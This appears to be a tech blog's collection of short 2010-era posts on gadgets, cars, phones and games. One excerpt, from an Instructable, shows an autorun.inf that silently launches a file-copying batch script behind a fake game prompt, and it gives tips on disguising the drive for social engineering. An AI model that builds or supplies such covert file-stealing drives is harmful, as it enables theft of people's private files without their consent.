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In much the same way that your cat doesn’t understand mirrors and tries to fight its own reflection silly kitty!, a bird just doesn’t see a big glass window. Thus, it tries to fly on through and smashes its little skull down into its bird-brain. Thunk.Thankfully for our little feathered friends, there is a solution. Ornilux glass, from Arnold Glas, has a special UV coating which is invisible to us, but easy for birds to see due to eyes that see different wavelengths. A new version of this glass, called Ornilux Mikado, takes things a step further by printing a spider’s-web of UV stripes onto the panes.Birds aren’t arachnophobes, but spiders apparently design their webs to warn off birds and stop them flying through and destroying the silky structures. The new Mikado pattern mimics the patterns used by spiders.According to Treehugger, the glass reduces bird-collisions by 75%. Given that 250,000 a birds are killed by windows every day in Europe, and around 100 million per year in the States, that’s a lot of rescued birds.My parents could have done with something like this when I was a cry-baby child back in the 1970s and the local birdies would take one look at our full-length living-room, glazed front and back, and think one word in their tiny heads: “Shortcut.” Thunk. They’d drop to the floor, dazed or dead, and I would start bawling once again.

via Invisible Spider-Glass Stops Birds Crashing | Gadget Lab | Wired.com.

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They’re cut out for action! These stealthy shinobi warriors are set to sneak into your kitchen and stage a cookie coup! Cut, bake, decorate… and then watch them disappear! Add swords, nunchaku, and shuriken stars with icing and toothpicks for more ambiance! Head off to perpetualkid.com to find out more – they cost $7.99 by the way.

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Google’s Android platform has just become the most popular smartphone platform in the U.S. and is apparently outgrowing the iPhone by a ridiculous margin. Now we hear that Android is likely to prevail in the battle against the iPhone. Is Google Apple’s second Microsoft? Will Apple, once again, drop below 5% market share in its core business?

When the iMac was released more than 10 years ago and when there was the general feeling in the industry that Apple had its mojo back, no one really took Apple serious back then.

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We are all aware of NSFW from the Twit network…. Well if you DOnt already know NSFW = Not Safe For Work. according to the internet.. Brian over at the NSFW Show is CHANGING his name of his Show on the Twit Network.

Brian just made the announcement on his show on the live stream at http://live.twit.tv on 6/29/2010.

His site is http://nsfwshow.com

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Jaguar has put the cat among the pigeons with a harder and faster special editionXKR. Called the XKR 75, only 75 examples will make production in celebration of Jaguar’s diamond anniversary.

A faster version of the XKR was teased at last year’s Goodwood Festival of Speed, when a luminous XK slithered its way up the hill, sparking rumours that a more powerful coupe was on the cards. And as you can see, the speculation was spot on.

Power from the 5.0-litre supercharged engine has been increased from 503bhp to 523bhp, while torque has jumped from 625Nm to 655Nm. The result is a 0-62mph time slashed by 0.2 seconds to 4.4 seconds and an electronically-limited top speed of 174mph.

Stiffer suspension front and rear, retuned dampers and a reduced ride height mean the ’75′ is set to be the best handling XK yet, but not at the expense of comfort according to Jaguar’s Chief Engineer Mike Cross: “We conceived the XKR 75 as a sports car with a duality of character that makes it perfectly suited to driving across Europe to the Nurburgring, completing some very fast laps, and then driving home again.”

Other additions include an aerodynamic bodykit, a sports exhaust with larger outlets and 20-inch lightweight wheels. The Stratus Grey paint and optional graphics pack is also unique to the XKR 75.

Priced at £85,500 ($127,000) orders are being taken from July with first deliveries beginning in October

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We’ve all been dying to try out Kinect for ourselves, just to see if it’s all it’s cracked up to be. Unfortunately, it’s not out until November. However, if you’re really desperate to try it, you don’t have to wait until then.

If you live near a Microsoft store, you can head in and try out Redmond’s latest gaming peripheral for yourself. Granted, there are only four stores in the country, so unless you happen to live Scottsdale, AZ; Mission Viejo, CA; San Diego, CA; or Lone Tree, CO, you’re still out of luck.

If you’re really desperate and have money to burn, you could probably get some cheap flights and go to the closest Microsoft store anyway.

Let us know if you try out Kinect and what you think of it.

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Microsoft yesterday inadvertently revealed a more specific launch for Windows Phone 7 but also broke news that the devices running the software will be “ad serving machines.”

It’s been months since Microsoft announced Windows Phone 7 and we’ve barely heard anything about it since. Aside from its two Kin phones, which are based on the same foundation as Windows Phone 7 but are far more basic, Microsoft is keeping fairly quiet about the ‘holiday release’ of Windows Phone 7.

Previous rumors suggested we could see Windows Phone 7 devices from Microsoft partners, like HTC, as early as September, but if Microsoft VP for Marketing Mich Mathews is to be believed, we won’t be seeing anything WP7-related until at least October.

Speaking at the Cannes Lions advertising conference, Mathews mentioned that Microsoft will be launching its brand spanking new mobile OS “this October.” Sure, it’s not December, but it’s miles better than the holiday launch we’d been expecting.

However, also at the event was Kostas Mallios, General Manager for Strategy and Business Development, and what he had to say was far more interesting. While explaining how advertising for WP7 works, Mallios called the OS ‘an ad-serving machine.’

“For marketers … this is actually turning out, in my view, to be an ad-serving machine,” Mallios said, according to Seattle PI. “It basically enables advertisers to connect with consumers over time.”

Mallios was referring to the unique feature that allows Windows Phone 7 to send users information, news and offers from their favorite brands.

Seattle PI reports:

“WP7 will allow advertisers to push notifications about their products to people’s phones through a platform called “Toast.” Even when a company’s app is not active, a small ad box can slide down from the top of the phone’s screen to alert the user there’s an update or new offer from that brand.”

Fortunately for us, Toast is an opt-in/opt-out kind of affair. If you do decide to opt in, the ads will appear as one of the dynamic tiles that make up the Windows Phone 7 home screen.

“What you’ll see is that there’s actually a message on that tile,” Mallios said during a demonstration. “So that title is actually a dynamic tile that you’re now able to push information to as an advertiser, and stay in touch with your customer. It’s a dynamic relationship that is created and provides for an ongoing dialog with the consumer.”

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How to make flash drive that copy’s users files silently and automatically.

****** THIS INSTRUCTABLE IS FOR INFORMATION PURPOSES ONLY IT IS ILEGAL TO COPY SOMEONES FILES WITHOUT THEIR PERMISSION I AM NOT RESPONSABLE FOR ANY THING THAT MAY OR MAYNOT HAPPEN IF THIS INFORMATION IS USED IMPROPERLY****************

How to build a simple five file usb drive that copy’s current user’s favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

step 1Materials needed

Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Also used to change the thumb drive icon to something more acceptable for social engineering.

Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content.
[autorun]
icon=drive.ico
open=launch.bat
action=Click ok to Run game for Windows
shell\open\command=launch.bat
a couple of notes
the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it… like this autorun.inf

look at pic two if you have any issues.

You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. Anyways just save it to the drive name it drive.ico next time you pull the drive out and put it in you will have your custom icon. Great for social engineering if the situation arises, makes it much less of an issue to have someone click a file on the drive if it looks like a game or something.

next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.

next it action= this can change to suit your needs, when the autorun launches it sometimes may ask the user what to open dependent on what you put here is what the user will think he is clicking on in the code above it tells the user to click here to run game for windows. This code acts as a backup just in case the user is asked what to open.

The shell/open command also acts as a backup in case the user clicks cancel instead of open when prompted… this code will execute when the drive letter is clicked on. No user can hold back on seeing what is in a random flash drive. That is the basis for this code.

via How to make flash drive that copy’s users files silently and automatically.

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Tuesday during E3 2010, Razer introduced a suite of peripherals designed specifically for Blizzard’s upcoming sci-fi themed RTS PCgame, StarCraft II: Wings of Liberty. Featuring a mouse, keyboard, and headset, the exclusive line attempts to capture the look and feel of StarCraft II by incorporating elements from the game such as the color theme (grays, blues) and blocky-yet-futuristic design (if not looking a little Tron-ish).

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